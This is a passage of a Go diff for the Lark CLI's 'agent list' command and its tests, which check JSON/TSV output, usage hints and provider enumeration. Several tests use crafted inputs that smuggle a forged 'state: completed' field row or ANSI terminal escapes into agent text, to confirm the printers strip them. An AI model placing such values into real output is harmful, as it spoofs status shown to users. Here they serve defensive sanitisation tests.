t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
|
||||
}
|
||||
if !strings.Contains(text, strings.Repeat("字", 120)) {
|
||||
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
|
||||
// fix: agent text containing newlines must not be able to fake an adjacent
|
||||
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
|
||||
// to spaces, so exactly one state: line exists.
|
||||
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
State: iagent.StateFailed,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
|
||||
}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
|
||||
var stateLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "state: ") {
|
||||
stateLines++
|
||||
}
|
||||
}
|
||||
if stateLines != 1 {
|
||||
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "state: failed") {
|
||||
t.Errorf("the real state line should remain, got:\n%s", out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "text: done state: completed ok") {
|
||||
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
|
||||
// the context title row.
|
||||
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
Title: "标题\ncontext_id: forged",
|
||||
})
|
||||
var idLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "context_id: ") {
|
||||
idLines++
|
||||
}
|
||||
}
|
||||
if idLines != 1 {
|
||||
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
|
||||
func TestPrintTaskPretty_NilTask(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, nil)
|
||||
if out.Len() == 0 {
|
||||
t.Error("nil task should print a placeholder line")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
|
||||
// naming the json fields (now including UPDATED_AT + SUMMARY), then one
|
||||
// tab-separated row per task. Summary is agent-controlled, so it is
|
||||
// ANSI-stripped AND newline/tab-flattened via kvValue.
|
||||
func TestPrintTaskSummariesTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskSummariesTSV(out, []iagent.TaskSummary{
|
||||
{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
|
||||
})
|
||||
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("should have a header + 1 data row, got %q", out.String())
|
||||
}
|
||||
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
|
||||
t.Errorf("header columns should match the json field names, got %q", lines[0])
|
||||
}
|
||||
// Summary: ANSI escape stripped, newline flattened to a space.
|
||||
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
|
||||
t.Errorf("data row mismatch, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextsTSV pins the context-list pretty spec: header row (now
|
||||
// carrying the UPDATED_AT / TASK_COUNT / AWAITING_INPUT rollup columns) plus
|
||||
// rows, with the agent-controlled Title stripped of ANSI escapes.
|
||||
func TestPrintContextsTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextsTSV(out, []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
|
||||
Title: "\x1b[2J销售分析", TaskCount: 3, AwaitingInput: true},
|
||||
})
|
||||
text := out.String()
|
||||
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
|
||||
t.Errorf("should have a header row with the rollup columns, got %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "销售分析") {
|
||||
t.Errorf("should contain the title text, got %q", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
|
||||
}
|
||||
// The rollup columns (task_count + awaiting_input) trail the row.
|
||||
if !strings.Contains(text, "\t3\ttrue") {
|
||||
t.Errorf("should carry the task_count + awaiting_input rollup, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty pins the context-get pretty rendering as a
|
||||
// conversation overview: metadata + the task_count / awaiting_input rollup and
|
||||
// a one-line active_task digest — NOT a full tasks[] list (that is `agent task
|
||||
// list --context-id`). Title and the active-task Summary are agent-controlled,
|
||||
// so both are ANSI-stripped + newline-flattened.
|
||||
func TestPrintContextDetailPretty(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
CreatedAt: "2026-07-05T10:00:00+08:00",
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00",
|
||||
Title: "\x1b[31m分析\x1b[0m",
|
||||
TaskCount: 2,
|
||||
AwaitingInput: true,
|
||||
ActiveTask: &iagent.TaskSummary{
|
||||
TaskID: "chat_2", State: iagent.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
|
||||
},
|
||||
})
|
||||
text := out.String()
|
||||
for _, want := range []string{
|
||||
"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
|
||||
"task_count: 2", "awaiting_input: true", "active_task: input_required",
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
// active-task Summary: newline flattened to a space.
|
||||
if !strings.Contains(text, "请提供 季度") {
|
||||
t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences must be stripped: %q", text)
|
||||
}
|
||||
// The full task enumeration must NOT appear here anymore.
|
||||
if strings.Contains(text, "tasks:") {
|
||||
t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
|
||||
// built from the real command path + Use shape, so the caller learns what is
|
||||
// missing instead of cobra's bare "accepts 2 arg(s)".
|
||||
func TestExactArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("task get with a single argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
|
||||
// (`agent list [scheme]`).
|
||||
func TestMaximumArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "list", "example", "extra"})
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("list with more than 1 positional argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
}
|
||||
207
cmd/agent/list.go
Normal file
207
cmd/agent/list.go
Normal file
@@ -0,0 +1,207 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// providerInfo describes a registered provider adapter in `agent list` output.
|
||||
// Every field is sourced from the registered iagent.Provider (the single
|
||||
// source of truth).
|
||||
type providerInfo struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Label string `json:"label"`
|
||||
AgentRefFormat string `json:"agent_ref_format"`
|
||||
Kind string `json:"kind"`
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
}
|
||||
|
||||
// listOptions holds all inputs for `agent list [scheme]`.
|
||||
type listOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Scheme string
|
||||
Format string
|
||||
As string
|
||||
}
|
||||
|
||||
// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
|
||||
// enumerates the registered provider adapters with their metadata — a
|
||||
// pure, API-free listing. With a scheme it performs second-level discovery:
|
||||
// catalog providers enumerate offline from their static set; instance providers
|
||||
// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
|
||||
// with the agent_id_source guidance). Risk=read.
|
||||
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &listOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list [scheme]",
|
||||
Short: "List registered agent providers, or enumerate the agents under one provider",
|
||||
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
|
||||
Args: maximumArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
if len(args) == 1 {
|
||||
opts.Scheme = args[0]
|
||||
}
|
||||
return agentListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
// --as only matters for the online `list <scheme>` enumeration (an instance
|
||||
// provider's ListAgents call); the no-scheme provider listing is offline and
|
||||
// identity-independent, so it ignores --as.
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
|
||||
// provider's agents (second-level discovery); without it renders the provider
|
||||
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
|
||||
func agentListRun(opts *listOptions) error {
|
||||
if opts.Scheme != "" {
|
||||
return agentListSchemeRun(opts)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
providers := listProviders()
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
|
||||
}
|
||||
// agent_id_source is a full sentence — a TSV column would blow out the
|
||||
// row width, so surface it as a per-provider footer instead. This is the
|
||||
// single most important "where do I get an agent_id" cue for newcomers
|
||||
// and must not vanish in the human-readable view.
|
||||
fmt.Fprintln(f.IOStreams.Out)
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s): %s\n", p.Scheme, p.AgentIDSource)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"providers": providers},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentListSchemeRun runs `agent list <scheme>`: second-level enumeration for
|
||||
// one provider. A catalog provider enumerates OFFLINE from its static set
|
||||
// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
|
||||
// ListAgents hook (needs a configured client); an instance provider without that
|
||||
// hook is not enumerable and returns unsupported_capability + the AgentIDSource
|
||||
// hint — surfaced before the client is built.
|
||||
func agentListSchemeRun(opts *listOptions) error {
|
||||
f := opts.Factory
|
||||
prov, ok := iagent.Info(opts.Scheme)
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 agent provider '%s',当前支持: %s",
|
||||
opts.Scheme, iagent.KnownSchemes()).
|
||||
WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
|
||||
var agents []iagent.AgentSummary
|
||||
var identity string // set only on the online (instance) path, which resolves one
|
||||
if prov.Kind() == iagent.KindCatalog {
|
||||
agents = prov.ListCatalog() // offline
|
||||
} else {
|
||||
// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
|
||||
if prov.ListAgents == nil {
|
||||
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
|
||||
"provider '%s' 暂不支持列举 agent", opts.Scheme).
|
||||
WithHint("%s", prov.AgentIDSource)
|
||||
}
|
||||
// Enumeration is a real online call with no agent_id, so it runs the same
|
||||
// two gates every ref-addressed online verb runs (via resolveSpec +
|
||||
// preflightScopesForRef): the user|bot identity whitelist and the
|
||||
// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
|
||||
// agentID is empty (enumeration is not scoped to a single agent).
|
||||
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return err
|
||||
}
|
||||
identity = string(id)
|
||||
rt, err := runtimeFor(f, id, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
|
||||
return err
|
||||
}
|
||||
agents, err = prov.ListAgents(opts.Cmd.Context(), rt)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if agents == nil {
|
||||
agents = []iagent.AgentSummary{} // always emit [] not null
|
||||
}
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
// Name/Description are agent-controlled remote strings — ANSI-strip
|
||||
// them before writing to the terminal.
|
||||
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
|
||||
for _, a := range agents {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: identity, // empty for the offline catalog path (omitempty)
|
||||
Data: map[string]interface{}{"agents": agents},
|
||||
Meta: &output.Meta{Count: len(agents)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// listProviders builds the provider descriptors from the built-in registry so
|
||||
// the listing stays in sync with whatever adapters are registered.
|
||||
func listProviders() []providerInfo {
|
||||
schemes := iagent.RegisteredSchemes()
|
||||
out := make([]providerInfo, 0, len(schemes))
|
||||
for _, s := range schemes {
|
||||
// s comes from RegisteredSchemes, so Info always succeeds.
|
||||
prov, _ := iagent.Info(s)
|
||||
out = append(out, providerInfo{
|
||||
Scheme: s,
|
||||
Label: prov.Label,
|
||||
AgentRefFormat: prov.AgentRefFormat(),
|
||||
Kind: string(prov.Kind()),
|
||||
AgentIDSource: prov.AgentIDSource,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
493
cmd/agent/list_test.go
Normal file
493
cmd/agent/list_test.go
Normal file
@@ -0,0 +1,493 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// listFactory returns a Factory writing to a fresh stdout buffer plus a
|
||||
// listOptions bound to it, ready to drive agentListRun without any API.
|
||||
func listFactory() (*listOptions, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
return &listOptions{Factory: f, Format: "json"}, out
|
||||
}
|
||||
|
||||
// decodeProviders unmarshals the envelope on out and returns data.providers.
|
||||
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
|
||||
t.Helper()
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
providers, _ := data["providers"].([]interface{})
|
||||
return providers
|
||||
}
|
||||
|
||||
// findProvider returns the provider entry whose scheme matches, or nil.
|
||||
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
|
||||
for _, pv := range providers {
|
||||
p, _ := pv.(map[string]interface{})
|
||||
if p["scheme"] == scheme {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
|
||||
// example entry carries all fields sourced from iagent.Info (the single source
|
||||
// of truth), the legacy free-text description field is gone, and discoverable
|
||||
// is no longer exposed.
|
||||
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
prov, ok := iagent.Info("example")
|
||||
if !ok {
|
||||
t.Fatal("the example provider should already be registered (top-level agent blank import)")
|
||||
}
|
||||
p := findProvider(decodeProviders(t, out), "example")
|
||||
if p == nil {
|
||||
t.Fatalf("list should include the example provider: %s", out.String())
|
||||
}
|
||||
if p["label"] != prov.Label {
|
||||
t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
|
||||
}
|
||||
if p["agent_ref_format"] != prov.AgentRefFormat() {
|
||||
t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
|
||||
}
|
||||
if p["kind"] != string(prov.Kind()) {
|
||||
t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
|
||||
}
|
||||
if p["agent_id_source"] != prov.AgentIDSource {
|
||||
t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
|
||||
}
|
||||
if _, present := p["description"]; present {
|
||||
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
|
||||
}
|
||||
if _, present := p["discoverable"]; present {
|
||||
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
|
||||
// data.providers[] with the full field contract.
|
||||
func TestAgentListRun_EnvelopeShape(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
providers := decodeProviders(t, out)
|
||||
if len(providers) == 0 {
|
||||
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
|
||||
}
|
||||
first, ok := providers[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("provider entry should be an object, got %T", providers[0])
|
||||
}
|
||||
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
|
||||
if _, present := first[key]; !present {
|
||||
t.Errorf("provider entry missing field %q: %v", key, first)
|
||||
}
|
||||
}
|
||||
if _, present := first["discoverable"]; present {
|
||||
t.Errorf("provider entry should not contain a discoverable field: %v", first)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
|
||||
// without --format emits the JSON envelope (pretty is opt-in).
|
||||
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetArgs([]string{})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
|
||||
// row plus tab-separated provider lines, not a JSON envelope.
|
||||
func TestAgentListRun_PrettyFormat(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
opts := &listOptions{Factory: f, Format: "pretty"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list pretty should not error: %v", err)
|
||||
}
|
||||
text := out.String()
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.HasPrefix(text, "SCHEME") {
|
||||
t.Errorf("pretty output should start with a header row: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example") {
|
||||
t.Errorf("pretty output should contain the example provider: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example:<agent_id>") {
|
||||
t.Errorf("pretty output should contain the example ref format: %s", text)
|
||||
}
|
||||
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
|
||||
// "where do I get an agent_id" cue does not disappear in the pretty view.
|
||||
if !strings.Contains(text, "agent_id 获取") {
|
||||
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
|
||||
// on a provider without Discoverer is unsupported_capability (exit 2) with the
|
||||
// AgentIDSource text as hint, and — because the probe runs before any client
|
||||
// construction — works on an unconfigured Factory.
|
||||
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
|
||||
registerScripted()
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "fakeflow"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be 2, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
|
||||
t.Errorf("message should state that listing is not supported, got %q", err.Error())
|
||||
}
|
||||
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
|
||||
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
|
||||
// invalid_argument and the message lists the registered schemes.
|
||||
func TestAgentListScheme_UnknownScheme(t *testing.T) {
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "nosuch"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
|
||||
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint pointing at
|
||||
// `agent list` for provider discovery.
|
||||
if !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
|
||||
// tests only exercise enumeration, never Send/GetTask, but Register requires
|
||||
// both non-nil).
|
||||
func catSpec(id, name, desc string) iagent.AgentSpec {
|
||||
return iagent.AgentSpec{
|
||||
ID: id, Name: name, Description: desc,
|
||||
Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil },
|
||||
GetTask: func(context.Context, iagent.Runtime, string) (*iagent.AgentTask, error) { return nil, nil },
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
|
||||
// is derived offline from the static Catalog. It leaks into the package-level
|
||||
// registry for the rest of this package run.
|
||||
func registerFakeDisc() {
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakedisc",
|
||||
Label: "test fake (catalog)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
Catalog: []iagent.AgentSpec{
|
||||
catSpec("a1", "Agent One", "第一个"),
|
||||
catSpec("a2", "Agent Two", ""),
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
|
||||
// catalog provider enumerates its static entries offline into
|
||||
// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
|
||||
func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
|
||||
registerFakeDisc()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
